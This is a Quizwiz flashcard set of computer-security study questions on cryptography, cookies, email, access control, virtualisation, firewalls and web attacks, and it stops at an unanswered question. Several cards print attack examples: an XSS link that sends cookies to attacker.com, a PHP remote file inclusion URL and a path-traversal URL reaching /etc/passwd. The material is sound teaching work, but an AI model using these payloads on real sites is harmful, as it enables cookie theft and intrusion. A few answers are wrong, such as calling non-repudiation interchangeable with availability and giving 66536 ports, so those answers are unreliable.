Computer Security

Lakukan tugas rumah & ujian kamu dengan baik sekarang menggunakan Quizwiz!

How many random bits of information is the search space equivalent to? (assume 676 possibilities)

676 = 2x which gives x ≈ 9.4 If W^L = 2^x that means x = log2W^L which we might write as: x = L*log2W Eg 1: Entropy = 2 * log2 26 ≈ 2*4.7 = 9.4

What factors should be considered when determining if a system is secure?

>Security in what way? (secrecy, DDOS, damage prevention) >Security from whom? (all users, special users) >Security to what level?(trade off with cost and performance)

What is the difference between a block cipher and stream cipher?

A block cipher encrypts blocks of data one at a time (eg: DES). A stream cipher encrypts each input element (bit or byte) one at a time, producing the matching output element as it goes along.

What is a threat?

A potential for violation of security, which exists when there is a circumstance, capability, action or event that could breach security and cause harm. Threat = capability X intent

What is a router?

A router connects different networks forwards data packets between different computer networks When a data packet comes in one of the lines (ports), the router reads the destination address of the packet and then uses the routing table to determine which port (next network or hop) the packet should be sent out through

What is integrity?

Confidence that the data we send is going to the right place and is not changed / corrupted.

What is a cookie?

Cookie is a piece of data sent from a web server and stored in a user's web browser while the user is browsing that website When the user visits the web server again, the browser sends the cookie back to the server The server can know the user's previous activity Cookies are used by the web servers to remember stateful information (such as items in a shopping cart) or to record the user's browsing activity

What are the security issues of cookies?

Cookies are just text data They cannot carry viruses, and cannot install malware on the host computer More about privacy concern • Third-party tracking cookies are used as ways to compile long-term records of individuals' browsing histories • Cookies can also store passwords and form content a user has previously entered, such as a credit card number or an address. Most websites use cookies as the only identifiers for user sessions

When determining the cost of a cyber security attack, what factors should be included?

Cost of security, insuring and recovering systems • Direct financial loss • Loss of Intellectual Property, Business information • Cost of time lost, opportunities missed • Damage to reputation and loss of trust

What are the different components in cookies?

(name, value) pair of the cookie (i.e. name=value) Expiry of the cookie Path: particular web addresses Domain: Server domain (website) Path and domain define the scope of the cookie Secure: Whether to use a secure connection to communicate the cookie Whether or not the cookie can be accessed through other means than HTTP (i.e., JavaScript)

Explain the isoloation benefit of VM security:

In a native environment, the entire computer is at risk when it is compromised by an attack. In virtualization, each guest OS (VM) is encapsulated and the hardware is abstracted. Each VM accesses separate file systems and memory blocks. Ideally a VM compromised by attackers will not affect the host or other VMs on the host. The isolation and abstraction of VMs provides additional security over the native environment.

Bitcoin -block chain transactions - technical aspects and their social / legal implications:

"Open" - there is no central authority (it is "unpermissioned") - No control over identity or transactions, no Anti-Money-Laundering - No governance or legal control (the rules are in the software) Slow - Updating and synchronising the block-chain ledger limits it to about 3-5 transactions per second and full trust is normally established in about 10 minutes. Expensive - The updating is actually delegated to a self appointed group of "Bitcoin miners" who have sufficient computer resources. (Bitcoin is estimated to consume 1GWatt of power world wide) Public and only pseudo-anonymous - identities are arbitrary but constant (Alice is always Alice) so the block-chain database can searched to look for correlations. Reliable and high integrity - the signing and distribution process means it is virtually impossible to corrupt or change the ledger (you need to re-write all the copies from the beginning). No single person or group can "censor" it.

What issue does security due to Inter-VM Communication raise?

"VM-to-VM" attacks means that attackers use one VM to access or control other VMs on the same hypervisor. Attacks are achieved by inter-VM Communication These attacks can happen with or without compromising the hypervisor layer. A malicious VM can potentially access other VMs through the shared resources, such as shared memory, network connections, etc.

What is the The WSDL Document Structure?

- <portType> - The operations performed by the web service and the involved messages - Interface of the service exposed to the client - Corresponding to a function library - <message> - The data elements used by the web service - Corresponding to the parameters of a function - <types> - The data types used by the web service - Address heterogeneity between clients and server <binding>: define the details of how to format and transport the messages Formatting messages • Define which version of SOAP is used • Style of the message (document or RPC) • How the data type appear inside the SOAP body (literal or encoded) Transporting messages • Which communication protocols used to transport the message (e.g. HTTP or other transport protocols)

What are the benefits of virtualization?

- Environment isolation - VM migration - Workload balance - Resource consolidation

Terminologies in multi-level security:

- Subject and object - Classifications: security level, Eg: Top Secret, Secret, Confidential, Unclassified - Category: the project or the job related to subject or object. Eg: "Hush hush project"(HP), "Nuclear project"(NP), "Spy Ring Project"(SP) - Security label: Defined as L= (S, C), where S is a classification, C is a set of categories, Eg: (Secret,{HP,SP}), (Top Secret,{})

What problem do reverse lookup tables have?

- e.g., p2 -> h2 -> p3 repeats in two following chains. Chain 1: p1-> h1 -> p2 -> h2 -> p3 -> h3 -> p4 Chain 2: p'1 -> h'1 -> p'2 -> h'2 -> p2 -> h2 -> p3 - The problem of chain collision: waste space

How can we crack passwords with reverse lookup tables?

- h -> p'1 -> h'1 -> p'2 -> h'2 -> p'3 -> ... - If at any point we observe a value matching one of the endpoints in the table, - get the corresponding starting point and use it to recreate the chain - There's a good chance that this chain will contain the value h - If so, the value immediately preceding h in the chain is the password p - If h cannot be found in the chain, - it is regarded as a false alarm. - we continue to extend the chain, hoping we can generate a password which matches an endpoint in the reverse look up table. - We extend the chain until the chain reaches a preset length

How can we prevent email interception using encryption? - public key

-To send email (e), encrypt with recipient's public key (rp). -Recipient can then decrypt using their private key (rq). >This method may not be used much because it is slow

What are the solutions to payloads?

-Using Anti-virus software -Difference between viruses and worms -Spam filters (see previous slide) -Be careful opening emails, and disable "automatic opening" of attachments

How can digital signatures work with emails?

1) Create email (e) and timestamp (t) 2) Attach sender's public key (sp) 3) Create hash of email + timestamp 4) Encrypt hash with sender's private key (sq) and attach • Final message is: e + t + sp + {hash(e + t)}sq • Can verify authenticity and integrity.

What are the principles of good encryption?

1. Confusion - Each letter of the ciphertext depends on several parts of the key - The relationship between ciphertext and key is complex - 2. Diffusion - If we change a character of the plaintext, then several characters of the ciphertext should change - Spread the statistical structure of plaintext over multiple parts of the ciphertext 3. Ciphertext is hard to break even with the most generous assumptions - Know the encryption process - Know the initial settings - As long as the key is secret - 4. Management of the encryption scheme must be feasible and cost-effective. - Long key may be very secure - but how can it be managed? - Consider the whole cryptographic management system, not only the encryption algorithm

What are the two general principles for access control?

1. Principle of least Privilege • Only give the least rights necessary 2. Principle of Fail-safe Defaults • First assume the subject doesn't have the permission to access the object • Then verify the subject's permission • Grant the access

What are good password policies?

1. Set passwords properly 2. Different passwords for different accounts 3. Don't write down your passwords Other: One single protected place - eg, Password Safe. Password hints and "memorable information" Dual factor authentication: knowledge, possession and inherence factors Other types of authentication: digital certificate

What is a vulnerability?

A flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy.

What is a form?

A form is used to pass information from a web browser to a web server.

What is virtualization?

A key technology in Cloud Computing Well known products Xen and KVM (for linux) VMWare, VirtualBox (for linux, Windows and Mac) Parallel desktop (for Mac) Allow multiple operating systems to share a computer A running instance of an operating system is called Virtual Machine VM is different from dual boot operating system

What are the requirements for a peer-to-peer system?

A language for describing the transactions - Remember £10 note, cheque book, on-line banking pages, CHAPS, SWIFT A method for unambiguously assigning identities A means to link identities to transactions A communication system A means for reliably, recording all transactions (a ledger!) - High integrity - High availability (even better than some banks!) - Confidentiality / Privacy - Discretionary access control: limits to read, write, search, delete etc.

What tools do we need to develop a peer-to-peer system?

A language for describing the transactions - XML - see Financial Products Markup Language FpML , and FIXML A method for unambiguously assigning identities - Public Key Infrastructure - X.509.3 Certificates (usually not anonymous) - Web of trust - PGP - personally signed keys (pseudo-anonymous) A means to link identities to transactions - Digital signatures • Algorithms: RSA, ECDSA - Hashing • MD5, SHA-1, SHA-256 - Message structure "enveloping" • S/MIME (Secure Multi-part Internet Message Encoding) - Process: • Calculate a hash of the message, • Encrypt the hash with the private key • Combine the message, the hash, the signature and the public key into a MIME "envelope

What is a one way function?

A one-way function is a function which is easy to compute in one direction, but is computationally infeasible to calculate in reverse. - k = y x mod p is a one way function, if - 1. p is an enormous number, say, 100-digit number. - 2. y is the primitive root of p It is extremely difficult to calculate x, given k, y and p, because when we try a value of x, the probability that it is correct is 1/(p-1). If we raise y to an arbitrary exponent x, the value of k is equally likely to be any integer between 1 and p-1.

What is Role-based access control?

A subject/principal is assigned a particular role in an organisation Role has associated permissions A user may belong to different roles Controlling the permission of subjects by controlling the permission of roles. Example: Sun Microsystems RBAC support in Solaris 8

What is the differene betewen a network switch and a router?

A switch forwards packets between the computers in a LAN, while a router connects multiple networks, e.g., multiple LANs or WANs In nutshell, a switch creates a LAN, while a router connects LANs or WANs

ACL vs capability:

Access control lists and capabilities can, in theory, express the same policies But they differ in practice, e.g., the cost of performing review and revocation of permissions In ACL, info is indexed by object: easy to review the permission info about an object • Revocation of access to an object by a subject is straightforward: delete the subject from the list associated to the object • Listing what permissions are associated with a subject is expensive: needs to traverse the lists of all objects and find out the permission of the subject. Opposite in capability list • Indexed by subject • It is cheap to find out the information of a given subject • It is expensive to find out the information of a given object

What is Diffie-Hellman-Merkle Key Exchange Protocol?

Alice and Bob wish to communicate privately. The communications channel is not secure - everything can be read by outsiders. How could they establish a secret number between them across this insecure channel? If they could manage this, then the secret number could be used as a key for secret key encryption

How does a replay attack work?

Alice provides unilateral authentication by signing her message. - But suppose Eve stores Alice's message - After the communication between Alice and Bob is over, Eve poses as Alice and sends Alice's message she stored earlier to Bob (Replay the message) - Bob would accept Eve (as Alice)

What is secret key encryption?

Also known as: • symmetric key • shared key • single key • conventional cryptography Documented use as early as 5th century BC. Still one of the most widely used approaches. Modern "standard algorithm": - first was the Data Encryption Standard (DES) - then the Advanced Encryption Standard (AES) Key is secret shared by sender and receiver • Public encrypt and decrypt algorithm • Decryption is reverse of encryption • Shared key is often small Secret key cryptography makes use of several basic techniques which have been around for 1000s of years!

What is a countermeasure?

An action, device, or technique that reduces a threat, vulnerability, or attack by eliminating or preventing it, by minimizing the harm it can cause, or by discovering and reporting it so that corrective action can be taken.

What is an attack?

An assault on system security that derives from an intelligent threat, i.e., an intelligent act that is a deliberate attempt to evade security services and violate the security policy of a system.

How is spam defined?

An email is "spam" if: (1) the recipient's personal identity and context are irrelevant because the message is equally applicable to many other potential recipients; and (2) the recipient has not verifiably granted deliberate, explicit, and still-revocable permission for it to be sent

Differences between Encryption and Digital Signature:

An encryption scheme has to: • maintain confidentiality • be decryptable A digital signature has to: • provide integrity check • authenticate • provide non-repudiation (the sender cannot deny having sent the message) • is not reversible Therefore, digital signatures are one way. Examples: RSA based digital signature

What does a HTTP responce look like?

An exemplar HTTP response message is The first line is called "status line" Format: HTTP-version status-code reason-phrase Status code: 200 OK, 404 Not Found, 403 Forbidden Followed by Response Headers Format: a list of attribute name:value pairs Web browser interprets the response message displays the contents of the message on the browser's window according to the media type of the response Media type is specified in the Content-Type response header. Common media type include "text/plain", "text/html", "image/jpeg", "application/pdf" ...

How does denial of service affect virtualisation?

An improperly configured hypervisor can allow a single VM to consume all resources, thus starving any other VM running on the same physical machine. The solution to this attack is simple. Hypervisors prevent any VM from gaining 100% usage of any resources.

What is an asset?

Asset: anything we value enough to want to protect.

How does https work?

Authenticate web server The web browser installs the root certificate of CA (Verisign) The web server needs to obtain the certificate signed by the CA. Web browser uses the web server's certificate to verify whether web server is genuine Provide encryption and integrity between client and server https uses the TLS/SSL protocol to encrypt messages and verify the integrity • TLS: Transport layer Security; SSL: Secure Sockets Layer

How can we use a digital certificate?

Before the sender uses the receiver's public key to encrypt the message, - the sender obtains the receiver's digital certificate, which includes CA's digital signature - The sender uses the CA's public key to decrypt the digital signature of the receiver's digital certificate - Web browser and email clients are usually preinstalled with CA's root certificate - CA's root certificate contains CA's public key - Example - If the certificate is genuine, it verifies that the public key belongs to the receiver - It is all about trust, we have to trust CA

What is cross-site request forgery?

Bob is browsing a chat forum where attacker has posted a message. Suppose that attacker has created the following HTML image element that references an action on the website of Bob's bank Assume Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then When Bob's browser load the image, the withdrawal request with Bob's cookie will be submitted to the bank server. • Bob does not even need to click on the image. The bank will authorize a transaction because of the cookie

What are the various methods in which passwords can be cracked?

Brute force attack not the most efficient approach Dictionary attack trying likely words, short passwords, dictionary lookup. Is likely to have a good chance of success on many systems. Look-up tables precomputes the hash values of a large number of passwords. Reverse Look-up tables uses hash chains to reduce the storage space Rainbow tables reduces chain collisions

What is Scriptalias and CGI?

CGI: Common Gateway Interface allow users to invoke programs in web server through the web browser The ScriptAlias directive is used by the HTTP server to map the request to a CGI program. For example, If the following is set in the configuration file, ScriptAlias "/cgi-bin/" "/usr/local/apache2/cgi-bin/" Alias: replace "/cgi-bin/" in the request address with "/usr/local/apache2/cgi-bin/" Effectively, it tells HTTP server that any request for a resource beginning with /cgi-bin/ should be served by a program in the directory /usr/local/apache2/cgi-bin/ If http://localhost/cgi-bin/test.pl is requested Apache will attempt to execute the file /usr/lib/cgi-bin/test.p

What is CSS?

Cascading Style Sheets Defines how HTML elements are to be displayed Separation of contents and presentation CSS syntax The selector refers to the HTML element to be styled Each declaration includes a property name and a value

What is a digital certificate used for?

Certify that a public key indeed belongs to somebody - X.509 format is used to compose certificates - An X.509 certificate includes - Subject: distinguished name of the user, - Subject's public key - Certificate Authority's subject, - Digital signature of CA - The format of the distinguished name - O=University of Warwick, OU=Department of Computer Science, CN=Ligang He (O: organisation, OU: Organisation Unit, CN: Common Name)

What is a event channel?

Channel and port can be used interchangeably - Used to receive events - Events: the completion of IO operation, keyboard strokes - Configuring a handler for the even

What is Cryptography ?

Cryptography is about communication in the presence of adversaries

What is Discretionary Access Control?

DAC is a means of restricting access to objects based on the identity of subjects to which they belong Users are allowed to change security settings Access rights can be conferred by one user to another, eg: • I give you permission to read a file • I give you permission to alter the permissions on a file • Membership of a particular group is conferred

What is a digital certificate?

Digital Certificate is created by Certificate Authority (CA) A Certificate Authority (CA) is a "trusted" third party.

Digital Signature vs. MAC:

Digital Signature - Use private key - can guarantee Integrity and Non-repudiation - MAC - Use shared secret key - can guarantee Integrity, but not non-repudiation - Then why do we need MAC? - MAC is much faster than Digital Signature, because - MAC uses symmetric key-based encryption (operations are XOR, shift, etc.) - Digital signature uses asymmetric key-based (private) encryption (operations are multiplications)

Solution to authenciation in email:

Digital signature • can guarantee both privacy and integrity • Can also act as an authentication scheme • If we can decrypt the digital signature using the sender's public key, • the digital signature is encrypted by the sender's private key (authentication) • But only weak authentication • Anybody can publish a public key and claim that the key belongs to the sender (weak) A digital certificate can be used to guarantee a strong authentication

Access control models:

Discretionary Access Control (DAC) Controls are set by the owners. Mandatory Access Control (MAC) An "across the board" policy that is enforced by the system. Often achieved with multi-level security. Role-based Access Control (RAC) Permissions are based on certain roles. A user acquires permission via their role(s).

What is Mandatory Access Control?

Discretionary Access Control (DAC) allows the object's owner or the principals to change the permissions - An institution might have the authorization rules that should be applied to all users in the system. - The rules are set by the institutions - The individual users are prohibited to set or change these rules - This is called Mandatory Access Control

What are the componenets of xen?

Domain 0: • a original linux kernel. • Domain Management and Control • Contain device drivers to access hardware • For example, Network Driver and Block Backend Driver to access I/O • Interact with other VMs. • In hypervisor Try not to reimplement the functions that have been provided by OS (e.g. network and I/O) •Smaller and simpler than the OS

What is the domain U component in xen?

Domain U • Has no direct access to hardware • Share resources with other domains (resources are virtualized) • require modified operating systems (linux, Windows, Solaris, UNIX)

How is email delivered (1)?

Email client, Email Server (SMTP server and POP3 or IMAP server) I, with the email account [email protected], want to send an email to [email protected], using the email client such as Outlook Express The email client connects to the SMTP server and sends the server the email address of the recipient ("To"), the name of the sender ("From") and the body of the message The SMTP server takes the "To" address and breaks the address into two parts: name of the recipient (jsmith) and the domain name (cam.ac.uk)

What are the issues regarding security with emails?

Email is free (encouraging spam, 419 scams, DoS attacks). • Email can carry payloads (viruses, trojans). • Email is easy to spoof (no authentication), encouraging phishing and other inappropriate HTML content. Email can be intercepted on insecure networks (packet sniffers). • Email server may be compromised. • No guarantee of delivery. • Poor password of your email account • Poor key-generation can compromise secure mail. - key length

How does SSL work?

Encrypt and check the integrity of the packets being communicated between clients and server Step 1: The client sends an initial message to the server to agree on • the method that used to exchange the encryption key (e.g., DHM method, RSA), the algorithm used to encrypt the message (e.g., DES, RSA) • The method used to generate the message hash (e.g., SHA-256) Step 2: Web browser generates the MAC (message authentication code) or DS (digital signature), encrypts the message plus the MAC or DS and send them to the server Step 3: The web server decrypts them and verify the integrity

What is entropy?

Entropy measures the "uncertainty" in the value of a password (how guessable).

What is a firewall?

Filter the information coming through the Internet connection into your local network Filter the information according to the preset static security rules E.g., only the computer with IP address of x.x.x.x can receive ftp connection requests on port 21

What are the different methods for filterting packects?

Firewall uses these main methods to control network traffic Packet filtering Stateful inspection Proxy service

Explain the third party cookie issue:

First party cookie are cookies that belong to the same domain that is shown in the browser's address bar Third party cookies are cookies that belong to domains different from the one shown in the address bar Web pages can feature content from third-party domains (such as banner ads)

What happens to a UNIX password?

Fred Flintstone sets his password to "hello" Passible Unix password file(unshadowed) entry: flintstone:pwsS8k.3HrN8E:503:100:Fred Flintstone:/home/flintstone:/bin/sh Password has been hashed using the Unix crypt(3) function ... password f(password) apply function The way the function works is publicly known, but even if the f(password) value is seen, it should not be possible to work out what the original password was. For the useful info but not passwords - see /etc/passwd

What are the different http request methods?

HTTP protocol defines a set of request methods. A client uses one of these request methods to send a request message to an HTTP server Get: request for a doc/resource from the server Issuing an HTTP URL from the browser always triggers a GET request. POST: used to post the data to the server, e.g., uploading a file or submitting the data entered in a HTML form.

HTTP request vs. web service request:

HTTP request issued by web browser Web service request issued by program

How does a http server process a request?

HTTP server listens to the port(s) specified in the configuration for incoming request. Port is the endpoint communication destination, usually associated to a service, i.e., the requests arriving at a certain port will be processed by the associated service, port is a 16 bits number; there are 66536 ports in computer http: 80, ssh: 22, ftp: 21, smtp: 25, etc. port is specified in the configuration file in http server After the server interprets the request, there are three general ways to process the request 1. maps the request into a file in the directory in the server, and returns the file to the client. (e.g., get request) 2. maps the request into a program in the server, executes the program, and returns the output of the program to the client. (e.g., post request, CGI) 3. the request cannot be satisfied, the server returns an error message. Which way is used for a particular type of request is specified in the configuration file of the web server

What is the general workflow of a http server?

HTTP server listens to the port(s) specified in the configuration for incoming request. When a request arrives, the server analyzes the message header, applies rules specified in the configuration, and takes the appropriate action. Control the action of web server via the configuration

How does Cryptographic hashing work?

Hash algorithm maps an input of arbitrary length to a fixed length "hash" or "digest". • Input message shouldn't be derivable from output hash • Alterations to file should result in very different hash • No key input needed - anyone can do it (It's not encryption!) • Preimage resistance: for a given hash, infeasible to find another message which generates the same hash, i.e., given a "y" , difficult to find x such that h(x) = y. • Collision resistance: infeasible to find any two distinct messages x and x′, which generates the same hash, i.e., such that h(x) = h(x′). • Should be quick and cheap to perform

What is Message authentication code (MAC*)?

Hash computed using input file • Hash encrypted using user's secret key • It is also called "Keyed hash" • This is secret key technology - needs shared secret key. • Provide integrity check • What about non-repudiation? • No, because MAC can be created with the secret key Not to be confused with Mandatory Access Control!

What is HTML?

Hyper Text Markup Language A markup language for describing web pages HTML documents are described by HTML tags <tagname>content</tagname> Different HTML tags describe different document contents

What is hypervisior intrusion?

Hypervisor controls all VMs in a PM If the hypervisor is compromised, the attacker can access all VMs For non-embedded hypervisor, the hypervisor is a program, running on the host OS, if it is compromised, not only all VMs but also the host OS are accessible to the attacker. How? • The hypervisor converts instructions for the guest OS into instructions for the host OS, • if the hypervisor is compromised, then the instructions sent by the hypervisor to the host OS may be malicious code.

What is risk analysis?

Identify (value) assets. Identify vulnerabilities, reduce where possible. Identify threats and likelihoods. Decide on how that risk will be managed. Informally: Straight fix Risk acceptance Risk avoidance Risk transferring Detection Reaction

Symmetry of Public Key Encryption:

If a message is encrypted by public key, the ciphertext can be decrypted by private key - If a message is encrypted by private key, the ciphertext can be decrypted by public key

How is email delivered (2)?

If the "to" address had been another user who is in the same domain as me (i.e., warwick.ac.uk), the SMTP server would simply hand the message to the POP3 server for warwick.ac.uk Since the recipient is at another domain cam.ac.uk, SMTP needs to communicate with Domain Name Server (DNS) for the IP address of the SMTP server in the cam.ac.uk domain. The SMTP server at the warwick.ac.uk domain sends the email message to the SMTP server at cam.ac.uk, which then hands the message to the POP3 server at cam.ac.uk

What is PHP remote file inclusion?

If the URL sent by the user is: http://yoursite.com/index.php?page=http://ev.il/badscript.php? <?php include $_GET['page']".html"; ?> becomes <?php include http://ev.il/badscript.php?.html ?> The include statement loads http://ev.il/badscript.php?.html Question: Will badscript.php be run as a php script or badscript.php?.html is displayed as a html web page? badscript.php will be run, because the content after "?" will be interpret as input parameter of the php script

How is email delivered (3)?

If, for some reason, the SMTP server at warwick.ac.uk cannot connect with the SMTP server at cam.ac.uk, then the message goes into a sendmail queue. The server will periodically try to resend the messages in its queue. After it tries for a certain period without success, the server gives up and returns the mail to me undelivered.

How do you hide data in an image?

Images typically use either 8-bit or 24-bit color. - Take 24-bit color as an example - each pixel is represented by three bytes - each of the three bytes representing the intensity of the three primary colors red, green, and blue (RGB), respectively. - Using Least Significant Bit (LSB) insertion to hide data

Explain the easy creation drawback of virtualisation:

In a traditional network of physical machines, all machines have same configurations. When there are security vulnerabilities, the same security measure can be applied to all machines VMs can be created rapidly, each with a unique configuration, Cannot apply a uniform security measure to all VMs The rapid growth of VMs in the network frequently far exceeds the administrators' ability to secure each unique VM.

How does stateful inspection work?

In addition to IP addresses, ports and sequence number of the packets, record whether a packet is the start of a new connection a part of an existing connection not part of any existing connection Connection state is also used as the test criteria in addition to static rules When there is a new connection, the firewall checks the static filtering rules, which is the most CPU intensive checking All ensuing packets in the same connection are processed rapidly More efficient than packet filtering Operate up to layer 4 (transport layer) of the OSI model.

How does a salt defend against password attacks?

In order for the lookup table attack to succeed, an attacker needs to precompute tables for each possible salt value, e.g., - For a password p, the lookup tables need to store the hash values for p connected to each of all possible values for salt, i.e., Hash(p+salt1 ), Hash(p+salt2 ), ..., Hash(p+saltn ) - When salt is has k bits, all possible values of the salts is 2k - When the salt is large (e.g., 48 bits), the required storage space will be too big for the tackle to be worthwhile. - In order to precompute reverse lookup table and rainbow tables, an attacker needs to generate chains for a password and each possible salt - Again, when the salt is large, it will require too much storage

Explain external monitoring benefit of VM:

In traditional OS, OS is the level of software that has the highest privilege. OS can only be monitored by itself If OS is infected with virus, it can not be trusted A VM runs above the hypervisor. Therefore, VMs can be monitored by either the hypervisor, or by an authorized dedicated VM. The later is the preferred method since it helps keep the hypervisor simple. The hypervisor gives the dedicated VM the permission to monitor other VMs.

Explain the identity drawback of virtualisation:

In traditional environment, a machine can be identified by e.g., MAC address, Ethernet port number It is used as non-repudiation Dynamic creation of VMs makes the use of MAC addresses infeasible. There is only one physical MAC address, but multiple VMs running VMs just pick a random MAC address in many virtualization implementation. It is also not feasible to use the port number, There is only one port number, It is difficult to establish who owns a VM running on a physical machine

What is public key cryptgraphy?

Is there a way to communicate securely which doesn't require an initial shared secret? In 1970s researchers discovered a way to do this. The answer was found by studying one-way functions. Given the input of the function, it is computationally easy to compute the output of the function: given f and x, compute f (x) Finding the inverse is computationally difficult: given f and f (x), find what x was input

What features benefit VM security?

Isolation The running environment is isolated State recording It is easy to record the state of VMs Transience VM is online and offline on demand Low privilege VM runs above the hypervisor and has less privilege than hypervisor

How can we access cookies with javascript?

JavaScript can manipulate cookies using the cookie property of the Document object. JavaScript can read, create, modify, and delete the cookies that apply to the current web page Storing cookies: document.cookie = "key1=value1;key2=value2;expires=date"; Read a cookie: var x = document.cookie; Delete a cookie (set the expiration date to the past): document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC";

What is confidentiality?

Knowledge that the data will be protected both in transit and at the receiver's end.

How was bitcoin created using a set of tools?

Language software in the Bitcoin Wallet App defines the structure - Identity - software wallet does key generation and storage (pseudo anonymous) - Signing - Elliptic Curve Digital Signature Algorithm and SHA hashing. • Does not use MIME - Communication - Bitcoin App talks directly over any TCP/IP network - Record keeping - the Bitcoin block chain ledger • A world wide replicated database of "block-signed" indexed sequential files. • Individual transactions are signed locally by the Bitcoin wallet • The signed blocks are sent to all other Bitcoin users and added to local files • The last 2 blocks in the local files are re-signed to create a "chain" of blocks

Secret key technique 3 - Change the order of letters

Letters are the same, but in a different order. Here the shared secret is knowing what permutation is carried out

What does non-repudiation mean?

Non repudiation is the assurance that someone cannot deny something - it can be used interchangeably with availability.

How is native architecture organised?

OS sits between hardware and applications OS manages the running of applications and the resources in hardware OS is the lowest level software

What is cross-site scripting?

On the server, the attacker posts a message with the link <a href="#" onclick="window.location ='http://attacker.com/stole.cgi?text='+escape(document.cookie);">Click here!</a> escape(document.cookie) is javaScript command, which obtain all cookies of stored in the web browser and encode them as a string. When another user clicks on the above link, The browser executes escape(document.cookie) then composes the HTTP request to access the file specified by link

What is spoofing?

Originator and apparent originators of an email are different -Spam filters may help, as will examining mail headers (by hand). -Spammer may comprise the sender's computer and send the email pretending to be the sender. -Signing emails is reliable.

What is PHP?

PHP: Hypertext Preprocessor A language for writing scripts to be run on the web server A tool for making dynamic web pages

Application-level filters:

Packet filter is network-level filter Stateful filter is transport-level filter Application-level filters can control all network traffic on any OSI layer up to the application layer Can control the traffic regarding a particular application Packet filter and stateful filter cannot There are two types of the application-level firewall Network-based application firewall, i.e., proxy firewall Host-based application firewall

How does packet filtering work?

Passing or blocking packets at a network interface based on the static rules that are defined mainly using source or destination address, ports or protocols E.g., only the computer with IP address of x.x.x.x can receive ftp connection requests on port 21 Filter a packet based on the information contained in the packet itself Packet filtering firewalls work mainly on up to layer 3 (network layer) of the OSI reference model 7-layer OSI model: 7 Application, 6. Presentation, 5. Session, 4. Transport, 3. Network, 2. Data link, 1. Physical

How does UNIX password protection work?

Password chosen (local rules?) A pseudo-random "salt" is chosen, eg: from date/time - not a secret value. These two are combined. The crypt(3) function is used to produce a hash of this. Hash value and plain-text salt value are stored in the shadow password file (usually /etc/shadow). Only root can read shadow password file Next time Fred logs in, he enters his password, system looks up the salt, computes hash and compares with stored value.

What are path exploits?

Path Exploits try to enter the directory or access files that are not intended to be accessible For example, if the user input the web address: http://www.example.com/home/users/ligang/templates/../../../../../../../../etc/passwd Without proper configuration, the passwd file will be displayed When allow_url_fopen in the php configuration file, php.ini, is set "on", allow the user to retrieve and display the file in server, even if the file is not a typical web page (e.g., html or php) Usually, it should be set off for security

Explain the transience benefit of VM:

Physical servers are often always on VMs can be started very quickly and remotely, This allows VM to be turned on only when they are needed, and to be turned off when they are not used. Limiting operating time of VMs mitigate security risks. e.g., if a worm infects the physical machines on a network, only the online VMs can be infected

Cryptography terminology:

Plaintext: the original message. Ciphertext: the result of encrypting the message. Encryption/decryption: process of applying the obfuscating procedure (or reverse). Also: encipher, encode. Cryptography: the practice of using encryption to conceal information. Cryptology: the study and research of cryptography. Cryptanalysis: the specific area of cryptology aimed at breaking encryption schemes.

What is the difference between public and private key encryption?

Public key encryption • Using one way function, slower • Only relies on the length of public key to prevent the crack • Key needs to be long • Longer key, slower Secrete key encryption • Using XOR, substitution, permutation, faster • Key is secret, the attacker knows less info • Require shorter key for the same level of security: faster

What is a rainbow table?

Rainbow table is designed to reduce chain collision -Uses a sequence of reduction functions to generate the chain, for example p1 -> h1 -(R1)-> p2 -> h2 -(R2)-> p3 -> h3 -(R3)->p4 The collision between chain 1 and chain 2 is reduced. p'1 -> h'1 -(R1)-> p'2 -> h'2 -(R2)-> p''2 -> h''2 -(R3)-> p'3

What is a HTTP request?

Request line is followed by request headers Format: name: value pairs Request line and request headers are together called request message header, followed by request message body

What is a password salt?

Salt is used to make rainbow tables attack ineffective - A salt is randomly generated data - The salt and the password are connected and used by the hash function to generate hash, i.e., - h=Hash(password+salt) - h together with salt are stored in the password file - When a user enters a password during the login, - Got the salt value used to generate hash for the user - connect password with the salt - Generate the hash and Compare it with the stored hash

What are the different types of encryption?

Secret key communicating parties share a secret that no one else must know Public key clever maths is used so that communicating parties do not need to know a shared secret

What is an example of a cookie?

Set-Cookie: username=ligang; Expires=Tue, 15-Jan-2013 21:47:38 GMT; Path=/; Domain=.example.com; Secure; HttpOnly Set-Cookie is a directive that can be recognized if the browser supports cookies and the cookies are enabled.

What is xen hypervisor organised?

Sits between guest OSes and hardware (or between the host OS and guest OSes) • responsible for CPU scheduling and memory partitioning and isolation of VMs • Control the executions of VMs

What are the solutions to prevent a replay attack?

Solution 1: Session token - token is a random number (sometimes called a nonce), which is used as another authentication. - This authenticates Alice to Bob - Solution 2: timestamping - When Alice sends a message to Bob, she includes a timestamp in the encrypted message. - If Eve replays the message, the timestamp reveals that it is an old message

What are the solutions to spam?

Spam filter*, such as SpamAssassin: - Define a large set of rules, e.g., the format of the sender email account, whether the body of the email contains a certain pattern of words, e.g., "million USD", "give you x% of the total" etc. - These rules are matched against the email. Each of the rule matching is called a test. - Each test result has a score value - If the total score of all tests exceeds a pre-set threshold. The email is classified as a spam

What is an access control?

Specify which subject has what permission to access which object

What can cookies be used for?

Stateless Web Service - Can use cookies to record the state of service invocation

Secret key tecnique - hiding in plain sight:

Steganography Other examples: digital watermarking. Not encryption but involves sharing the knowledge of where the information is and how to retrieve it.

What is dynamic file loading in php?

Suppose the homepage link of your website is: http://yoursite.com/index.php PHP supports loading an file based on data passed via URL parameter. There are two sub-pages: photos, contact in the website In the web page, there is the following php code: <?php include $_GET['page']".html"; ?> When the user types the following web address: http://yoursite.com/index.php?page=photos, the content after the "?" in the address will be interpreted as the parameter of the request, i.e., index.php is run with "page=photos" as input parameter. $_GET['page'] gets the value of page, so <?php include $_GET['page']".html"; ?> becomes <?php include photos.html; ?> In <?php include photos.html; ?>, the include statement will load the "photos.html" to be displayed It is a dynamic web page, because the same web page can display different contents, depending on the user's input. For example, if the user types the following web address http://yoursite.com/index.php?page=contact, the contact.html page will be displayed.

What is the difference between a system and hyper call?

System call - The userspace code does not have the privilege to access hardware - Therefore use a system call to tell the kernel to do something for you - Hypercall - The guest OS kernel does not have privilege to run certain instructions - therefore uses hypercall to request the hypervisor, which runs in ring 0, to perform those instructions - Originally, OS runs in Ring 0; applications run in ring 3; ring 1 and 2 are unused - In Xen, the guest OS kernel is modified to run in ring 1, therefore cannot run certain instructions; Hypervisor runs in ring 0

How does LSB insertino work?

